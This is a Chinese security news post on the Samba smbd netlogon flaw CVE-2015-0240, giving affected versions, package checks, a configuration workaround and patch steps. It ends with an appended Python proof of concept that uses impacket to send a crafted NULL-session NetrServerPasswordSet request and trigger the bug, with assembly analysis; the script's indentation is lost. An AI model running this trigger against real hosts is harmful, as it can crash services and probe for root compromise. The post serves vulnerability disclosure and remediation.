在大家欢天喜地度春节时,安全界近日又爆出Samba被发现存在远程命令执行漏洞(CVE-2015-0240)。
原因是在Samba的守护进程smbd中发现一个未初始化的指针使用缺陷;允许一个恶意的Samba客户端发送特定的netlogon数据包给smbd获得smbd运行的权限,而smbd的默认权限是root。
Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。
这个漏洞影响范围从Samba 3.5.0到最新的开发版4.2.0 Release Candidate (RC) 4,主流的GNU/Linux发行版也受到了影响,RedHat官方公告确认Red Hat Enterprise Linux 5至7受到影响;而Red Hat Enterprise Linux 4系列samba (3.0.x) 不受影响,可谓不幸中万幸。(这么古老版本估计也就学校和运营商里还有吧~)
目前Debian\Ubuntu\RedHat等主流发行版本均已经修复,攻击POC也未正式公布出来。
RedHat系列检查:
rpm -qa|grep samba
Debian\Ubuntu系列检查:
dpkg -l|grep samba
如果因为生产环境无法直连外网或是变更配置管理等原因而不便更新补丁,可以采取以下临时修复方法:
vi /etc/samba/smb.conf
找到[global]后下面添加:
[global]
rpc_server:netlogon=disabled
/etc/init.d/smb restart
PS:注意该临时解决方案只在Samba versions 4.0.0以上才有效,而在3.6.x和更早的版本上无效。
CentOS, Red Hat, Fedora等系列衍生版本(RHN建议):
yum update samba
如果你使用RHEL 5和samba3x包:
yum update samba3x
如果你使用RHEL 6和samba4包:
yum update samba4
补丁更新完毕后需要重启smbd守护进程
RHEL 5 or 6环境下重启服务:
service smb restart
RHEL 7环境下重启服务:
systemctl restart smb.service
Debian, Ubuntu等系列衍生版本:
sudo apt-get update && sudo apt-get install samba
service samba restart
Centos6.5离线补丁修复方案:
先检查本地samba包安装了哪些相关包
rpm -qa|grep samba
然后,到阿里源下载对应版本
cat > update.txt << EOF
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/libsmbclient-3.6.23-14.el6_6.x86_64.rpm
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-3.6.23-14.el6_6.x86_64.rpm
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-client-3.6.23-14.el6_6.x86_64.rpm
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-common-3.6.23-14.el6_6.x86_64.rpm
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-winbind-3.6.23-14.el6_6.x86_64.rpm
http://mirrors.aliyun.com/centos/6.6/updates/x86_64/Packages/samba-winbind-clients-3.6.23-14.el6_6.x86_64.rpm
EOF
进行后台断点下载补丁包
wget -b -i update.txt -c
使用yum本地安装
yum localinstall libsmbclient-* samba-*
或是rpm安装
rpm -ivUh libsmbclient-* samba-*
Red Had系列衍生版本
使用方法参考上文【Centos6.5离线补丁】的修补方法
https://access.redhat.com/articles/1346913
https://access.redhat.com/security/cve/CVE-2015-0240
https://www.samba.org/samba/security/CVE-2015-0240
http://www.ubuntu.com/usn/usn-2508-1/
https://security-tracker.debian.org/tracker/CVE-2015-0240
Update20150301:
PoC for Samba vulnerabilty (CVE-2015-0240)
#!/usr/bin/python
"""
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
#################
Analysis of samba-3.6.9-164.el6.i686 on centos6
#################
The _netr_ServerPasswordSet() function is called from api_netr_ServerPasswordSet()
function in "librpc/gen_ndr/srv_netlogon.c".
When looking in to assembly (comparing to source code) of
_netr_ServerPasswordSet function, the creds address is "ebp-0x1c".
00298c10 <_netr_ServerPasswordSet>:
298c10: 55 push %ebp
298c11: 89 e5 mov %esp,%ebp
...
298c40: e8 eb 30 e7 ff call 10bd30 <become_root>
...
298c4e: 8d 45 e4 lea -0x1c(%ebp),%eax ; creds address (ebp-0x1c, value is 0x40)
298c51: 89 44 24 10 mov %eax,0x10(%esp) ; pass creds to netr_creds_server_step_check()
...
298c78: e8 a3 cd ff ff call 295a20 <_netr_GetDcName+0x280> ; netr_creds_server_step_check
...
298c83: e8 78 2f e7 ff call 10bc00 <unbecome_root>
Running the PoC against samba-3.6.9 on centos6 x86, the creds value in
_netr_ServerPasswordSet() function is always 0x40. To tracking the uninitialized
value of creds, I check the source in api_netr_ServerPasswordSet() function.
I found the call to talloc_zero() function before calling to _netr_ServerPasswordSet()
function.
r->out.return_authenticator = talloc_zero(r, struct netr_Authenticator);
if (r->out.return_authenticator == NULL) {
talloc_free(r);
return false;
}
r->out.result = _netr_ServerPasswordSet(p, r);
I checked the assembly of _talloc_zero() function. The "ebp+0x1c" is set inside
this function. After tracking define and use, the value at "ebp+0x1c" is computed
from 2nd argument of _talloc_zero().
00004ae0 <_talloc_zero>:
4ae0: 55 push %ebp
4ae1: 89 e5 mov %esp,%ebp
...
4afa: 8b 7d 0c mov 0xc(%ebp),%edi ; 2nd argument to edi
...
4b41: 8d 77 3f lea 0x3f(%edi),%esi
4b44: 83 e6 f0 and $0xfffffff0,%esi
4b47: 89 75 e4 mov %esi,-0x1c(%ebp) ; same stack address as creds
The 2nd arguemnt of _talloc_zero() function is 'size'. The size value is
sizeof(struct netr_Authenticator), which is 0xc bytes. That's why the uninitialized
value of creds in _netr_ServerPasswordSet() function is always 0x40 on centos6.
So code execution seems to be impossible for me on centos6 samba-3.6.9-164.el6.i686.
#################
"""
import sys
import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
if len(sys.argv) < 2:
print("Usage: {} <target_ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
username = ''
password = ''
###
# impacket does not implement NetrServerPasswordSet
###
from impacket.dcerpc.v5.dtypes import *
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
class NetrServerPasswordSetResponse(NDRCALL):
structure = (
('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode',NTSTATUS),
)
nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)
###
# connect to target
###
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % target)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(445)
# impacket has a problem with SMB2 dialect against samba4
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
###
# request for session key
###
#resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678')
#resp.dump()
#serverChallenge = resp['ServerChallenge']
#sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None)
sessionKey = '\x00'*16
###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10
uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = username+'\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = target+'\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
DCERPCSessionError = nrpc.DCERPCSessionError
try:
resp = dce.request(request)
print("no error !!! error code: 0xc0000225 is expected")
print("seems not vulnerable")
#resp.dump()
dce.disconnect()
except DCERPCSessionError as e:
# expect error_code: 0xc0000225 - STATUS_NOT_FOUND
print("seems not vulnerable")
#resp.dump()
dce.disconnect()
except impacket.nmb.NetBIOSError as e:
if e.args[0] == 'Error while reading from remote':
print("connection lost!!!\nmight be vulnerable")
else:
raise
【文章来源Sobug漏洞时间 作者小狼 安全脉搏SP小编整理发布】